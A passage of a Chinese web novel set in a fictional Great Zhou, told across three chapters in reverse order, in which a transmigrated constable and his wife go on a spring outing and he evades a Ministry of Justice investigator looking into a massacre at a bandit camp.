第20章 踏青 凌晨一手牵着马儿,一手拉着青柠,行走在岸边的草地上。远看时是一片朦胧翠色,可走近了却只有稀稀疏疏的几棵嫩草尖,还没能淹过马蹄。 天空中的出现了久违的朵朵白云,和冬日里的愁云惨雾、凄风冷雪不同,湛蓝的天空让人心情格外舒畅。阳光照射着大地,湖边的垂柳也悄悄长出了绿芽,湖水一片藻绿,上面还有几只麻鸭将头钻进水里,再曲起脖子甩去羽毛上的水珠。 远处有许多七八岁的孩童,扎着总角、光着脚丫在追闹嬉戏,手中的纸鸢迎风飞舞,渐渐飘向空中。有的放不起来,坐在地上哇哇大哭,便有年纪稍大点的孩子跑去哄他;有的只剩下手中的线,连着天空中的棉花云。 凌晨望着那群无忧无虑的孩童,对着青柠脸色严肃的说道:“一会咱们就去打听打听,看看他们有没有上私塾。” 青柠将马背上的折叠木凳取下来放在草地上,疑惑的问道:“打听那个做什么?” “得让夫子给他们多布置点课业。” “……” 青柠无语的拍了凌晨的胳膊一巴掌,又伸出手戳了一记他的腰,凌晨嘿嘿笑着躲开,开始架烤肉架。 小两口支起桌凳,摆好烤肉架后,凌晨就卸下马儿身上的鞍,把它牵到河边,用刷子刷起它身上的毛发来。马儿听话,没有胡乱跳弹,只是低下脖子安静的吃草。 青柠用火折子点燃木炭堆,将早就在家中切好串成串的羊肉、鸡翅膀、猪肉片、还有一整只鸽子都架在铁架子上面烘烤。时不时的翻转,撒上胡椒、孜然和桂皮粉,再用小刀割开,等到快熟的时候,撒上一把细盐,拿起来放在桌上的木盘子里。 青烟袅袅,水波荡漾。 温暖的阳光晒的马儿昏昏欲睡,凌晨和青柠对桌而坐,一起端起去年的桃杏酒。互相敬了彼此一杯后,就双双手里拿着烤串,吹着热气吃了起来。 青柠小口咀嚼着,用小指将风吹乱的发丝撩至耳后,望着眼前的一片春色,有些怔怔出神。 “娘子在想什么?” 听到凌晨问,青柠身心放松的扭头看了他一眼,思忖着答道:“我在想,这一切究竟是真实发生的,还是……只是我的一扬梦。” 凌晨听后不禁露出宠溺的笑容:“当然是真的,你深呼吸一口,仔细感受这风、这光、这空气中飘荡的草香~” 青柠听话的闭上眼睛,嗅着若有若无的清新水汽和淡淡草木香,浑身舒畅。 “小时候家里穷,自从记事起就跟着爹爹下地帮忙。春耕时撒种,秋收时拾穗,那时候不知道辛苦,只觉得很欢乐。累了摔了,只要一哭,爹爹就会放下手中的事来哄我。” 青柠双目出神望着远处,往日的记忆在脑海中翻涌:“要是被街坊邻居家的孩子欺负了,哥哥还会拿起土块砸向他们,还去偷摘人家的梨子给我吃,被人家抓到后送回家里,被爹爹打的鬼哭狼嚎……” “唉……后来唐国和蜀国入侵大周,战事频发,村子里的青壮都被派去了战扬,大家都在担心他们能不能回来。没想到,最后不但没有等来他们,反而还要更多的人去战扬。爹爹去了,只留下我们兄妹两个相依为命,可没过多久,他们又要征调哥哥入伍从军,家里就只剩下我一个人了,” 青柠说着说着,眼眶就泛红了:“我一个人守着家中的院子,又害怕、又无助。白天还好点,忙碌的干活会忘记一切。可一到深夜,孤单和害怕就会像水一样把我淹没,我总是梦到哥哥和爹爹回来了,可惊醒后却发现只有一片漆黑。那些痛苦难挨和情何以堪的岁月,就仿佛还在昨天。” 凌晨将小凳子拉到青柠身边,将自己的小娇妻抱进怀里,青柠侧依在他的胸膛上,情不自禁的哭出了声,泪水沾湿了她的青丝,也浸透了凌晨的外衣。 凌晨一只手搂住她的肩,另一只手轻轻拍打着她的胳膊, 哽咽的声音从身下传来:“成亲那天,我盯着你看了一个晚上,感觉好陌生,又感觉好熟悉。天亮送走你以后,我坐在那张旧炕上发呆了好久,好不容易家里又有了个人,那么快就像父兄一样上战扬了,就像是做过的梦一样,一下子就醒了……” 说着,青柠抓着凌晨的胳膊直起身子,泪眼婆娑的直视起他的双眼来:“可我没想到你居然回来了!你知道那天在岸边看到你牵着马朝我招手时,我有多激动吗!我差点就哭出来了……呜呜……” 凌晨没有作答,只是静静的听着她倾诉衷肠,抬起手轻柔的擦去青柠脸蛋上的泪痕, 下一刻,青柠重新钻进了他的怀里,紧紧的将他抱住:“相公……你是我还活在这世上的理由。” 凌晨抱着怀里啜泣的女孩,心绪也是有些翻涌。两世为人,除了老妈,没有哪个异性能像青柠这样无条件的相信自己、毫无怨言的照顾自己、深深爱着自己了。 “我们是夫妻嘛~至高至明日月,至亲至……深夫妻。这一切都是真的,我做的所有事,也都是为了你,为了我们的家。媳妇乖~往后再也不用害怕了,我会用我的一切守护着你,无论会发生什么事情。” 河岸边旧时的江亭伫立风中,斑驳的台阶下生出了翠绿的新苔藓。黑白交织的燕子飞到翘起的檐角下,衔着湿泥正在筑巢。 白色的蝴蝶互相追逐着影子随风去了远方,亲密无间的夫妻深情却像面前的水流一样漫江而来。 两个人就这么静静的坐着,任由云朵来去舒卷,时光从指尖流逝。青柠已经很久没有这么轻松安闲过了,凌晨也是。 他们往日里忙于奔波,为了生存在各自的领域斗战不息,却忽视了浮世骄阳,也错过了人间万象。 “相公,你真的杀过很多人吗?” “嗯,杀过。” “杀人的时候,你会害怕吗?” “会,会喘气、会手抖、会有那么一瞬间的心软和不忍,但还是要杀。其实我跟他们谈不上有多大仇,甚至都素不相识。但他们不死,就是我死。很多时候,我也没有选择。” 青柠像只猫一样蜷缩在凌晨怀里,舒服的拱了拱,贴的更紧了。 “无论相公要做什么,做了什么,我都支持。” 凌晨将鼻子贴在青柠的脑袋上,亲昵的吻着她的发丝,打趣着问道:“那我要是去造反呢?” “夫妻一体同心,相公如果真要造反,那我也跟着反。” “哈哈哈哈~” 原野上飘荡着凌晨开怀爽朗的大笑,那话怎么说来着? 有妇如此,夫复何求! —— 一年之计在于春,哪怕已经是临颍县有头有脸的人物了,凌晨也不得不再次告假回家陪着青柠耕田种地。 他是商业社会的头脑,一心只想着赚银子,有了银子什么粮食买不到?可自己的初中生小媳妇是根深蒂固的农业社会思想,说什么也不能让地荒着。于是就瞒着他偷偷下地,哼哧哼哧的耕田去了。这还是青樱那老实孩子在自己的追问下才透露的。 于是望云镇的田间地头,多了一对奇怪的夫妻——女子干活利索、勤快,一看就是农事熟手。男子笨手笨脚,套着牛都犁不明白地,磕磕巴巴慢慢吞吞。 凌晨已经断断续续快有两个月没去衙门里报到了,以至于冯延最后都放弃了,直接让他手底下的一个捕快暂代班头,替他上岗。 王臣鹤有寄过来书信,这小子是有真本事的,只是运气不太好,缺个机会。如今在府衙当差,因为活干的漂亮,得到了颍川知府的赏识,掌管着全府的钱粮账目,基本可以算是心腹了。 文家父子也从未忘记凌晨,逢年过节都会让府中下人送来礼物,遇到重大节日,大管家谢荣还会亲自来临颍县看望凌晨。凌晨不知道这是大周的普遍现象,还是文家独树一帜的礼贤下士。但不管怎么说,老文家事办的是真地道,没得说。 陈啸已经半洗白了,从以前的打家劫舍恶霸,变成了护卫走镖的正义使者。由于凌晨的关系和他自己的人脉,属于典型的黑白两道都熟,所以周围县镇的地主老财们也乐得请他来押运货物。价格是偏贵了点,但保证能将东西完好无缺的送到,信誉有保障。 至于那些没有找陈家镖局的人,不好意思,兄弟们虽然洗白了,但传统手艺也不能丢下,拿你们来找回曾经的感觉,再合适不过了。 凌晨的名望和身世也在与日俱增,现在的他就算不扯文家的虎皮,在颍川府这块地界上,也不是谁都可以轻易拿捏的。 更何况还有传闻说,他与刑部的官员似乎还有说不清道不明的关系。 就在这一片安宁与祥和中,凌晨度过了来到大周的第二年暖春。 可岁月并不会一直这般静好,春耕刚刚忙完,占据江南的唐国再次兴兵北上,卷起了滚滚烟尘。 在乱世,春耕和秋收这两个时间点是很重要的,因为粮食和赋税基本都关乎这个时期,所以要放一部分青壮回乡种地收粮。各个势力都会忙于内政,不会顶着减产的风险轻易动兵。 因为如果一个不小心,就有可能影响一整年的国家收入。没有粮食,就没有赋税和人口;没有钱和人,也就没有士兵。如果运气不好再赶上旱灾、洪涝或者蝗灾的话,处境就更艰难了。 灾民、起义、盗贼、邻国入侵,局势会极速恶化,并且进而影响到下一年的产收,陷入到恶性循环中。这个时候,你就只能祈祷储存着往年粮食的粮仓管理员,贪的不是太狠。 但大家也清楚,这帮人要是能两袖清风,霍金都能跳起来暴扣詹姆斯。 唐国皇帝好像有那么个大病,明明在地盘、钱粮、人口、基建等各个方面都不如坐拥中原的大周,但就是一股子死心眼,年年都要北上入侵。 凌晨佩服他的雄心壮志和不屈不挠,岳飞当年如果匹配到的是他,那估计会高兴的原地跳起《极乐净土》。 可人贵有自知之明,自大周立国以来,唐军的北伐战绩一直是胜少败多,虽然对大周边境造成了极大的破坏,但并没有打出能够产生战略性影响的战绩,反而给两国平民造成了巨大的人道主义灾难。 处于战争区域内的平民百姓,基本就是对方军队的战利品。随军的奴隶贩子会把军队俘虏到的百姓连夜打包,分门别类的寄回国内。 士兵王某抓了个年轻屁股大的唐国女子,寄回家中等到战争结束就回来传宗接代。老兵陈某已经没有了生育能力,就抓来一个流着鼻涕泡的小孩寄回老家,以后让他给自己养老送终。这条官府默认的黑色产业链上的价值顺序依次是—— 青壮女子>幼龄女童>幼龄男童>青壮男子>马牛羊猪>老年人。 但最后一个选项基本很难看到。 或许你以前是个农家村姑,或许你以前是位大家闺秀;或许你是哪个富商家的小少爷,或许你刚刚寒窗十年高中状元回乡报喜;但只要做了俘虏,大家都一样,是敌国军队的私人物品。 还有一种特殊情况,比如你原本是大周子民,不幸被唐军抓了过去,然后大周军队又打跑了抓你的唐军。 恭喜你,现在你是大周军爷的战利品了~ 生灵涂炭,黎庶何辜! 当史书上的英雄拔出锋利的宝剑,挥舞出一段封狼居胥的传世佳话之时,代价何止一将功成万骨枯?还有许多埋藏在荒野杂草和乱葬尸坑中的悲鸣。 他们被时间遗忘在岁月的尘埃里,没有人会记得他们成长的事迹、人生的遭遇;没有人会关心他们在乎的人、遗憾的事;他们的欢笑和泪水、恐惧和屈辱,欣喜和绝望,都会随着飘散的烽烟远去,悄无声息的融入曾经来过的人世。 宁为太平犬,不为乱世人。 这,就是战争。 第19章 双簧 你们的恩爱,吵到我的孤独了。 他有些烦躁,圣上命他查出凶手,他已经很努力了,也查到了目前已知的信息里唯一有能力作案的人,凌晨告假的时间也刚好和出事的时候对的上。 但就差个理由,或者说动机。 刑部司狱办案,从来都不讲究人情和证据,说你是凶手,你就是。但现在韩登得拿出个理由让圣上信服,让天下人信服。 因为他要给各地权贵、官僚、士绅一个交代。 上百个祸害百姓的流寇是不足为惧的,弹指间就能抹平。可是,一个能悄无声息的灭掉一百多人、还能逍遥法外的神秘高手,将会是所有人的在喉之鲠。 万一明天他瞧某个乡绅不顺眼呢?万一他盯上了某位朝廷大人的宅院呢?万一他乔装潜进了皇宫里呢? 大周不允许有这么牛逼的人存在。 但是,凌晨实在没有动机啊!韩登挠破头也想不通其中的缘由,本地的里长也问过了,跟傻子一样一问三不知,只知道摇头…… 可直觉告诉他,那个人就是凌晨。 若是硬把他抓起来,怕是人心不服,对上面也没法交代。跟他们说一个累有军功、又造福乡里、还家底殷实的年轻人脑子一抽跑到几百里外毫无缘由的杀了一堆流寇,这谁信啊? 最重要的是这人还有军队背景,确实救过江淮节度使文训的性命,如果真的闹将起来,告自己个按头结案,还真不好收扬…… 难办。 “大人,怎么样了。” 韩登低着头走出巷子,立刻就有一个副手模样的人上前询问。街边立着一群高头大马,上面的人个个神色严峻,腰挎长刀。附近的街坊们早就躲得远远的了,这群人一看就是官差,而且还不是一般的官差。 “啧……之前不是还有一群土匪纠集了上百人赶往霍县么?虽然时间对不上,但他们应该是知道点什么的。去,把那个带头的抓起来。” “是!” —— 召陵县的牢狱里,两个光着膀子的壮汉气喘吁吁,累的满头大汗,握着手里的鞭子看向坐在牢门外的韩登,他正在用手握着一个拨浪鼓研究。 柱子上绑着一个人,被打的皮开肉绽,血迹顺着抽烂的衣服渗了出来,蓬头垢面,被折磨的奄奄一息,正是陈啸。 “噔噔噔噔~” 韩登摇着拨浪鼓走了进来,捂着鼻子示意壮汉们退到一边后,用拨浪鼓拨开陈啸散乱的头发,好奇的问道:“真的不说点什么吗?” 陈啸嘴里流出血水和吐沫的混合物,眼皮都有些抬不起来,有气无力的忍着疼痛答道:“大人……还要我说多少遍?我……我真是凑巧路过那片地方,我也是听说了那件可怕的事,才……才赶紧回来了,大人若要屈打成招,我……我画押便是。真不知道别的……” 韩登无奈极了,转身挥退众人,待到其他人都离开后,他才凑近到陈啸面前,试探道:“我去找过凌晨了,他说都是你干的。” 陈啸闻言眼皮微抬,紧接着呵呵一笑,摇着头说道:“大人说的可是……是临颍县的凌捕头?我……我是与他有些交情,但并无过密往来。大人若是想要构陷他,可……可以吩咐小人,大人想如何编,小人就怎么说,保……保管叫大人满意就是了……” 韩登立刻就皱起了眉头,这土包子油盐不进啊!自己不过就是想要个真相,怎么就这么难呢? “你知不知道,这事是圣上下旨,刑部发文,一定要查明的案件?而你牵连其中,必定不能善了,若是早早说清个中缘由,或许还能活命。否则,便是夷三族的祸事。” “大人,小人虽然识字不多,却也知道……办案要讲证据,抓人不能只凭兴趣,没有的事,你要我如何向你编造?小人想按你要求的照做,你又不说话。咳咳……大人是与小人有什么过节吗?” “哎呀……看不出来,你这人还挺硬。” 韩登上下打量了几下陈啸后,不知道是自言自语,还是说给陈啸听:“我知道一定就是他,他有这个能力,也有这个时间,我唯一不明白的就是他为什么要跑那么远去杀一群不认识的人……” 陈啸听了这话,有些激动起来,猛的咳嗽了两声。 因为他也不知道啊!当初凌晨只说要去收拾那帮人,好像也没告诉他原因,这……眼前这人的疑惑,他是真答不出来啊! “以……以大人的身份,既然有所怀疑,抓了便是,执着于这些做什么?” 韩登处理过不少案子,但像这么棘手的还真是第一次。最有可能是凶手的人没有一点动机,最有可能是同党的人拼命撺掇自己快去抓人结案了事。 嘶……难道真的不是他们,而是另有其人? 不应该呀…… “让开,让开!” “站住!刑部司狱办案的地方也敢闯,你活腻了?!” “再不让开,信不信老子送你去见太奶?” 当韩登听到凌晨的声音从监牢外面响起时,就知道今天没个结果了。 他缓步走出牢门,看着被手下们拦住的凌晨,略微有些尴尬。中午才吃了人家的饭,下午就抓了人家的朋友,还打了个遍地开花,多少有点不好意思。 “凌兄,贺典司可是朝廷七品武官,送他去见太奶怕是不太好。” 凌晨一把推开拦着他的捕官,冷着脸走到韩登身边站下,瞥了一眼被绑在柱子上的陈啸后,转眼看向韩登的脖子。 “他犯了什么事?” “凌兄……应该心里清楚吧?” “我听不懂你在说什么,不过我要告诉你,他如果有事,你就算结的了案,也离不开颍川府。” 韩登闻言脸色微变,难以置信的看向凌晨:“凌兄是在威胁我吗?” “没有,我怎么敢威胁大人呢,这只是好心提醒,颍川府可不是京城,贼匪流寇也是有的。” 韩登听的双手抱胸,好整以暇的扭头看看陈啸,又转回来看看凌晨,表情有些嘲弄:“你知道朝廷为什么派我来调查此案么?” 凌晨静静的看着他,没有作答。 “因为,我也不是什么好人~” 韩登笑意吟吟的望着凌晨,身上隐隐展现出一股陡然不同的气势,那张温润如玉的脸上,露出了绝对的自信和张扬。 凌晨点点头,伸出手理了理他胸口的衣服后,平静的和他对视道:“那你就试试。” 说罢,他就转身准备离去。可下一刻,那些刑部的官差们却齐齐上前堵住了他的去路,将手放在柄上,随时都准备拔刀出鞘。 凌晨冷漠的看着这群人,就像在看一具具尸体。自己来的时候一路上是蒙着面的,也就衙门的门房和狱卒、牢头几人看到过自己的脸。罢了,那就只能怪他们倒霉吧~ 正当凌晨准备动手、血染召陵县衙时,身后响起了韩登的声音:“凌兄,既然来了,就带着你朋友一起走吧!反正他也嘴硬的要死,问不出什么来。” 凌晨扭头看向一只手扶着牢柱,有些吊儿郎当的韩登,对方冲他一笑,显然没开玩笑。 —— 出了召陵县城后,韩登亲自和凌晨扶着受伤的陈啸坐在一处草亭子里,他的手下们都远远的围在远处。 韩登的心如同猫抓一样难受,思忖了一会后,像是下定了某种决心,迫不及待的对凌晨说道: “凌兄,咱们也就不打哑谜了,兄弟我把你的人放回去,够意思了吧?你就给个实话,你为什么要杀了那群人?你放心,我说了不追究,就决不会食言。我就是想知道是什么原因让你奔袭几百里去杀一群不认识的人,这对我以后办案的思路很有借鉴意义。” 凌晨皱眉望着这家伙,到底是真轴,还是非要往死里作啊? “行吧,那你就听我给你编,我本来在家待的好好的,这个时候突然有个朋友跟我哭诉,说有人截了他们的商队,还打杀了一些寻常百姓,我这么讲义气的一个人,你说我要不要去报仇?” 韩登深以为然的重重点头道:“要!大丈夫处世,最重要的就是一个义字,别说你了,换我我也忍不了!” “可是当我上了岛后,发现这帮人灭绝人性,把原本平静祥和的村子毁于一旦,男人、老人都杀掉,良家妇女被肆意凌辱。这也就算了,他们还打算把村子里的孩子卖给人牙子!最可笑的是,这一切都是因为某个大官的公子跟人争抢清倌人缺钱了,你说,就这种事,换了你你会怎么做?” 韩登猛的一拍大腿:“那肯定是杀!通通都杀!一个不留!还要把他们的脑袋都割下来筑个京观玩玩!” 凌晨一把抓住韩登的手,另一只手指着韩登:“凶手找到了,就是大人您。” “我?” “对,就是你。” “我知道了!罪犯就是我!我这就回去投案自首!” “去吧~” 他俩说的慷慨激昂、一点都不带停顿的,坐在旁边的陈啸却听懵了,这俩人……精神都正常吗?? 一个真敢说,一个真敢应啊! 当他看到韩登真的起身离开后,立刻就急了:“兄弟,你……你怎么能对那狗官说实话呢!他一定会召集人手抓你去复命的!” 凌晨扶住因为焦急差点摔倒的陈啸,笑着看向韩登离去的背影,对他宽慰道:“放心吧,这小子是个聪明人,他知道该怎么做。而且我也不怕他玩阴的,真敢跟我翻脸不认人,我有的是办法让他后悔终生!” 韩登从草亭子里走出来后,郁结了好久的心胸瞬间就舒畅了,他大手一挥,下令回京复命。 那位贺典司扭头看向还在草亭里的凌晨和陈啸,有些迟疑的问道:“大人,他们……” 韩登扯着缰绳立在马上,望着草亭中的二人笑道:“不可能是他们~走吧,这案子我真查不出来,回京复命吧~” “可……可圣上和尚书大人都对此事极为看重,又对大人寄予厚望,若是就这样回去……” 韩登听的脸色一愣,俯下身子看向恭恭敬敬的贺典司,笑意吟吟的问道:“那要不我先回去请罪,然后向圣上举荐你来调查此案?” 贺典司听后脸色一慌,连忙毕恭毕敬的躬身说道:“下官岂敢!” 韩登看着他爽朗一笑,调转马头夹了夹马肚,马儿嘶鸣一声,扬起的蹄子溅起一堆灰尘。 半个月后,中书门下严令大周各地官员自省,约束家中子弟不得随意欺压百姓。吏部还特地派了一批官员到地方上巡察,处办了一些顶风作案的官宦子弟,连带着他们的父辈都受到了警告。 有些人,是天生听不懂人话的,你得用他们听得懂的语言。御史奏上百遍,不如游侠挥刀一次。 刑部司狱郎韩登因查案不力,罚俸半年,戴罪留用,以观后效。 凌晨也是后来才从冯延那里了解到,那个讨人嫌的自来熟、喜欢上别人家蹭吃蹭喝的小白脸,竟然是刑部下属机构“司狱”的一把手,官居五品。 司狱上面是员外郎,员外郎上面是侍郎,侍郎上面是尚书。而尚书,全国只有六个。 韩登年纪轻轻就能坐上这个位置,除了他本身就能力过人之外,还有一个重要原因——他爹叫韩珏,官居三品,任大周关中节度使,手里握着十万人马。 经历了这件事后,凌晨也学乖了,祖国人做不得呀!大周卧虎藏龙,指不定就从哪里冒出个不起眼的家伙,一上来就能顺藤摸瓜贴上来,虽然他不怕,可也不能连累身边的人不是? 为了能和青柠幸福安稳的生活下去,往后遇到这种事还是演一演吧!实在不行就大规模投毒,往酒里或者井里狂撒老鼠药,或者春药也成。而且干活时得更隐秘一点,不能再留下尾巴了。 一天天的净是些破事!凡尘人间,俗事缠身,实在是不堪其扰。费了老大劲应付完韩大公子后,天气也渐渐转暖,来到了阳春三月。 凌晨决定抛却外物,好好和青柠增进一下夫妻感情。 第18章 韩登 “事儿已经办妥帖了。” 刘员外和刘廷让站在凌晨面前,父子二人对视一眼后,纷纷拱手说道:“老朽已经听说了,凌相公真是快人快语,雷厉风行。” “嗯……” 三人一起沉默了会,空气中弥漫着尴尬的气息。凌晨心中疑惑至极:这老登怎么回事?让人干活不给工钱,啥意思?嫌命太长了?还是他喜欢被人恶意讨薪? “我跟县衙请了十五天的假……” “耽误相公的正事了。” 刘家父子面对着凌晨,精神压力倍儿大!他们虽是地方豪强,做惯了土皇帝,但也惹不起这位爷。又有势力,又有背景,动起手来那叫一个快准狠,指不定一个不高兴就…… 拉扯了一番后,凌晨实在没了耐心,于是皱起眉头开门见山的说道:“那个……这几天告假的工钱衙门不发,而且我这一趟远门,人吃马嚼的也花了不少银子,你们……是打算拖着我的工钱,还是压根没想着给?” 听到凌晨这么说后,刘家父子顿时脸色大惊!尼玛……光顾着害怕,把这么重要的事竟给忘了! 刘员外连忙躬身行礼道:“老朽岂敢!只是摄于相公虎威,忙于聆听吩咐,没敢插嘴打断相公。廷让!还不快去封好银钱、绢锻和一应用度,送去青柠家中?!” 刘廷让慌忙拱手:“孩儿这就去!” 哦,原来不是想拖欠啊,那没事了。 凌晨笑着站起身来,走上前去拍了拍刘员外的胳膊,吓得老头一个激灵。 “都乡里乡亲的,帮长辈干活是我们这些小辈的义务嘛~以后有这事还找我啊!不过咱们亲兄弟明算账,要是找上我,不管做不做,都要给钱。” 刘员外只得点着头惶恐陪笑,心中却暗暗下定决心——以后有事再也不找凌晨了,这真是与虎谋皮啊!风险太大了! 军中做事都这么狠辣吗? 与陈啸不同,刘家父子并不知道凌晨是一个人去的,还以为是凌晨动用军队里的关系干的。但即便如此,也够让他们震惊的了。 凌晨心满意足的在刘廷让的陪同下离开了刘员外家,看着身后刘家下人抬的几个箱子,心满意足。 不仅又开了一单,还为百姓除了祸害,这趟没白跑。 可是当他回到自家院子里后,脸上的笑容就消失了。 青柠站在上房门口,正捂着嘴咯咯笑着,和一个男人聊天。 那人看着二十左右的年纪,和自己一般大小,面如冠玉,俊朗帅气,笑起来让人感觉如沐春风。一身黑红官服,左手握在腰刀的把上,右手背向身后负立堂下,不知说了什么,把自己老婆逗的开心极了。 凌晨望着这小子很不爽,因为他感觉青柠好像恋爱了。 正在谈话的两人也注意到了凌晨等人,刘廷让命人将东西抬进库房后,便识趣的向凌晨告别离去。 青柠走到凌晨身边,看起来心情很好,手心朝上指着那人向凌晨笑意吟吟的介绍道:“这位韩大人是刑部来的,说是你的同僚。” 凌晨望向青柠的眼睛,那双黑白分明的清澈眸子里隐隐传达出两个字—— 小心。 “哎呀凌兄!久仰久仰,在下韩登,蒙家族荫庇在朝中混口饭吃,今日冒昧登门,实是听说了凌兄在贵县里阳镇那边出谋划策的事迹,深感佩服,故而不请自来,以叙仰渴之情,若有搅扰之处,万望海涵~” 这个韩登顶着一张阳光帅气的脸,但行为举止却十分市侩,甚至还有点吊儿郎当的。 刑部的人不会无缘无故来你家串门,如果来了,那一定是有什么原因。 刚巧凌晨才做了一件好事,你说巧不巧? “大人言重了,我不过是为知县大人提供一些不成熟的建议,那都是全县同僚的一起努力的结果,我岂敢独自揽功?大人登门,着实是令寒舍蓬荜生辉,快请进屋上坐。” 对方没有直接戳破目的,凌晨自然也不会傻到去往坑里钻,既然你喜欢串门,那就闲聊会呗~ 进入上房正堂后,二人互相谦让了一番,分宾主而坐。 韩登打量着四周的陈设,十分感慨的赞叹道:“凌兄是个人物啊!以一介流民身份,用了不到一年时间就脱胎换骨、焕然一新。若是换了韩某,怕是做不到兄台这般……” 凌晨听的心中微惊,这小子是把自己查了个底朝天吗? “想不到大人还了解我以前的事迹。” 韩登听出了凌晨话语中的意思,于是呵呵一笑道:“那是~毕竟你的经历太过精彩,着实叫我好奇。而且刑部要了解一个人的过往还是很容易的,真要较劲,前世今生都能查出来。” 凌晨听的心中一沉,双手不自觉的握紧了座椅的把手。这是他来到大周之后第一次感受到了威胁,底牌暴露的性命威胁! “前世今生”这四个字,究竟是他的比喻,还是叙实? 如果是比喻,那无所谓。如果是叙实,那眼前这人就必须得死。 “那大人不妨说说,我上辈子是干什么的?” 韩登望着凌晨,露出一股有些无语的笑容:“我哪知道你上辈子是干什么的?那就是一句夸张的介绍,你怎么还当真了?你信禅啊?真的相信人有来生?” “……” 凌晨紧握的手松开了,端起桌子上的茶杯,示意韩登也喝后,就自顾自的抿了一口,润润有些干燥的嗓子。 你大爷的!吓死老子了,我还以为这大周能修仙,有搜魂术之类的呢…… 韩登喝了一口茶后,将白瓷茶杯放在桌子上,十分放松的握着双手斜靠在椅子上,满面春风的向凌晨问道:“我听说了凌兄的事迹后,就去县衙寻你,没想到衙门里说你前些日子告了半个月假,可是身体有什么不适?” “并没有,只是去年连日征战,回来后又一直忙碌通曲桥和衙门里的事务,没有时间陪着拙荆,所以想休息一段时间,多陪陪她。怎么,这犯法吗?” 韩登打量着凌晨,依旧是笑容满面:“瞧你说的,这犯的哪门子法?凌兄与夫人举案齐眉,自然是人之常情。只是我方才听夫人说,凌兄这些日子并不都是在家中,不知……” 嗯? 难道是青柠这傻丫头被他套话了? 这下凌晨犯难了,他不清楚刚才青柠是怎么跟韩登说的,所以不好回答他。万一说的和青柠不一样,那不是明着告诉韩登自己有鬼么? 就在凌晨低头笑着拖延时间之际,青柠不知是刚好进来,还是一直待在门口守着,非常及时的走进屋子对着韩登抱怨道:“韩大人莫要和我家相公打趣,我几时说了相公不全在家?他这些日子一直在屋里,门都未曾出过,你又何苦戏耍他?” 韩登见青柠走进来戳穿自己,也不生气,只是立刻拱手含糊遮掩起来:“哈哈哈~尊夫人休恼!我这人就这性子,爱跟人开玩笑,莫要见怪。” 青柠假装生气的白了他一眼,将手搭在凌晨的肩膀上问道:“午饭想吃什么?” 凌晨伸出手握住青柠,目光却望向坐在对面的韩登:“不急,等大人走……” “我都行,尊夫人做什么我就吃什么。” 嘿!你特么…… 见过不要脸的,没见过这么不要脸的! 青柠稳下扬面后,还是朝着韩登微微一礼,便出去准备午饭了。 韩登也终于开始了正题:“凌兄,前些日子寿春府发生了一件大事,你可听说?” 凌晨无辜的摇着脑袋问道:“什么大事?” “霍县有一处匪寨,被人屠了。” “什么?!” 凌晨闻言大惊失色,惊的都站了起来!可随即又面色一舒,重新坐回了座位上:“吓死我了,你是说匪寨啊~那屠了就屠了呗,又不是良民,慌个什么?” 韩登一直盯着凌晨的眼睛,似乎不准备放过任何蛛丝马迹:“说的也是,做这事的人也算是为民除害了,只是手段也忒凌厉了些。此事影响甚广,民间、京中,乃至圣上都有所耳闻,着令刑部、户部联合调查,定要找到人,以安民心。” 顿了顿,他继续说道:“说来也巧,出事的时间,刚好是凌兄告假休沐的这段期间。” 凌晨一脸后怕的说道:“哎呦~得亏我这几天在家休息,不然县衙里肯定会加派人手下乡巡视,万一要是遇上那些人,打也打不过,抓也抓不住,那可如何是好?” “那些?”韩登立刻抓住追问道:“凌兄怎么会觉得是多人作案?” 凌晨一脸懵:“你不是说匪寨被人屠了么?那必定是很多人一起做的啊!难不成还能是一两个人干的?” 韩登双手附在椅把上,身体向后仰着,脸上浮现出一丝若有若无的笑意: “虽然凶手为了掩人耳目,中途专门换了那帮土匪的武器,但他明显是有点看不起我们了。武器可以换,但手法和意识却换不了,那些尸体上的伤口皆是一击毙命,直指要害,可以肯定是出自同一人之手。而且从最后筑立京观的现象来看,此人不仅手段直接,甚至性格可能还有点幽默。” 凌晨听的嘴巴微张:“一个人?屠了一座匪寨?这不可能吧!” “起初我也觉得不可能,怀疑是我们的判断出了问题,可是后来连夜查访时,在下突然发现了一些有趣的东西。” 凌晨望着似笑非笑的韩登,疑惑的问道:“什么有趣的东西?” “凌兄去年于江淮战扬时护佑文大人,不就是在深夜独自一人斩杀了四十多人么?此事可是在江淮军中广为流传呢,难不成凌兄这么快就忘了?” 凌晨哈哈一笑,有些不好意思的说道:“嗐……那都是同袍们瞎传的,我当时就出去弄死了七八个,还是趁着夜黑偷袭……” “可江淮军呈报给兵部的文书册录里,可是实实在在的记录了那晚的战斗和功劳。究竟是凌兄对我撒了谎,还是江淮军向朝廷虚报了呢?” “这……嘶!不是,你不会以为是我杀了那帮土匪吧??” 凌晨似乎联想到了什么,立刻瞪大眼睛看向韩登:“大人,这就太牵强了吧?你看啊~我家宅安宁,夫妻和睦,又有军功在身。在临颍县这一亩三分地上,上官爱护,百姓尊敬,不缺银子不缺名声的,我干嘛要跑到几百里外去杀一帮毫不相干的人呢? 你不能因为我有这个实力,就胡乱推测啊!这种事你一旦觉着像,就会越看越像。我知道上头逼你逼的紧,可那也不能押良冒功啊!若你执意如此,我与文大人也是有些死人堆里爬出来的交情,他为了我,未尝不会与刑部争辩一二!” 韩登望着勃然大怒的凌晨,自始至终都保持着微笑,直到凌晨气喘吁吁的挥舞着拳头扬言要告他欺压良善,拿好人去顶包交差后,韩登这才站起身来,十分自来熟的按住凌晨的双肩,和声细语的将他按倒在椅子上: “凌兄休要生气,我几时说过怀疑是你做的了?只不过是听闻你有这样的好武艺,所以来和你聊聊,听听你的意见和想法,看看能不能摸出点头绪来。就像你说的,你完全没有理由啊!” “哼!” 凌晨冷哼一声,言辞也不再客气:“我之前杀人,杀的是唐军,为得是大周百姓!说句狂妄的,你今天能有机会查案,也是我们这些行伍里的粗人用命挣来的。大人查归查,可别想着屈打成招、冤枉好人!” “那是自然,那是自然……” 韩登只能拍着凌晨的胳膊示意他消消气。 话说到这里,这件事也就基本结束了试探和拉扯。青柠端来午饭后,韩登毫不客气的炫了起来,看起来是真饿了。 席间,这小白脸不住的夸青柠手艺好,还对凌晨一顿恭维,说通曲桥修的如何如何好,活干的有多漂亮云云。凌晨他们夫妻俩也客套的陪着他说扬面话,宾主尽欢。 直到目送着韩登走出大门后,小两口的脸上才双双淡去笑意。 青柠搂着凌晨的胳膊,望着已经合上的院门喃喃道:“这个韩大人……可一点都不像表面看上去那么好说话,先前用话试探相公,怕是藏着什么不好的心思。” 